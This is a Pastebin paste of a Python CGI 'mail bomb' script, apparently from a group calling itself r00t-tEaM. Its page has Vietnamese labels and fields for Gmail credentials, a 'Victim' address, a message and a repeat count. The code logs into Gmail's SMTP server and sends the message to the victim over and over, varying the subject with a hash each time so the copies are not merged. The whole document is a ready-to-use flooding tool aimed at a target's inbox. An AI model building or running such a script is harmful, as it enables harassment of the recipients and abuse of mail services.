Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!C:/Python27/python.exe
- # -*- coding: utf-8 -*-
- # import
- import cgitb; cgitb.enable()
- import cgi
- import hashlib
- import smtplib
- from random import choice
- from string import Template
- #HTML
- html = Template("""
- <html>
- <head>
- <title>r00t-tEaM</title>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <style>
- body {
- background-color: rgb(74,81,85);
- color: #99CC00;
- }
- table {
- font-family: Verdana, Tahoma;
- font-size:22px;
- }
- input {
- background-color:#FFCC00;
- font-family:Tahoma;
- font-size:8pt;
- }
- textarea {
- border-radius: 5px 5px 5px 5px;
- }
- h1 {
- color: #99CC00
- }
- h3 {
- color: #FFCC00
- }
- h4 {
- color: #99CC00
- }
- .submit-button {
- background: #57A02C;
- border:solid 1px #57A02C;
- border-radius:5px;
- -moz-border-radius: 5px;
- -webkit-border-radius: 5px;
- -moz-box-shadow: 0 1px 3px rgba(0,0,0,0.6);
- -webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.6);
- text-shadow: 0 -1px 1px rgba(0,0,0,0.25);
- border-bottom: 1px solid rgba(0,0,0,0.25);
- position: relative;
- color:#FFF;
- display: inline-block;
- cursor:pointer;
- font-size:13px;
- padding:3px 8px;
- height: 30px;width: 120px;
- }
- .submit-button:hover {
- background:#82D051;border:solid 1px #86CC50;
- height: 30px;width: 120px;
- }
- </style>
- </head>
- <body>
- <div style="text-align: center;">
- <h1>Boom With STMP Google</h1>
- <h3>No Log You G-Mail</h3>
- <h4>Nếu xảy ra lỗi vui lòng đăng nhập G-Mail bằng trình duyệt rồi vào <a href="http://www.google.com/accounts/DisplayUnlockCaptcha" target="_blank">DisplayUnlockCaptcha</a></h4>
- <form action="?" method="POST">
- User: <input type="text" value="" size="70" name="user" /><br /><br />
- Pass: <input type="text" value="" size="70" name="password"/><br /><br />
- Victim: <input type="text" value="" size="70" name="victim"/><br /><br />
- Subject: <input type="text" value="" size="70" name="subject"/><br /><br />
- <center>Body: </center><br /><textarea name="body" cols="40" rows="8" ></textarea><br /><br />
- Số Lần: <input type="text" value="" size="10" name="solan"/><br /><br />
- Status: <input type="text" value="$status" size="30" name="status" /><br /><br />
- <input type="hidden" value="boom" size="50" name="command" />
- <input type="submit" class = "submit-button" value="Fuck">
- </form>
- </div>
- </body>
- </html>
- """)
- def get_param(form, param,default=None):
- if form.has_key(param):
- return form.getvalue(param)
- return default
- def main():
- print "Content-type: text/html"
- print
- form = cgi.FieldStorage()
- command = get_param(form,"command")
- user = get_param(form,"user")
- password = get_param(form,"password")
- victim = get_param(form,"victim")
- subject = get_param(form,"subject")
- solan = get_param(form,"solan")
- status = get_param(form,"status")
- body = get_param(form,"body")
- status = "Vui Lòng Điền Đầy Đủ Thông Tin"
- SMTP_SERVER = 'smtp.gmail.com'
- SMTP_PORT = 587
- lst = ['q','w','e','r','t','y','u','i','o','p','a','s','d','f','g','h','j','k','l','z','x','c','v','b','n','m']
- body = "" + str(body) + ' Boom Mail Script By parkdream1' + ""
- if command == "boom":
- try:
- for i in range(0, int(solan)):
- random = choice(lst)
- subject = str(subject) + " " + str(int(hashlib.md5(random).hexdigest(), 16))
- headers = ["From: " + str(user),
- "Subject: " + str(subject),
- "To: " + str(victim),
- "MIME-Version: 1.0",
- "Content-Type: text/html"]
- headers = "\r\n".join(headers)
- session = smtplib.SMTP(SMTP_SERVER, SMTP_PORT)
- session.ehlo()
- session.starttls()
- session.ehlo
- session.login(user, password)
- session.sendmail(user, victim, headers + "\r\n\r\n" + body)
- session.quit()
- status = "Đã Song"
- except:
- status = "Đã xảy ra lỗi"
- print html.substitute(status = status)
- if __name__ == '__main__':
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement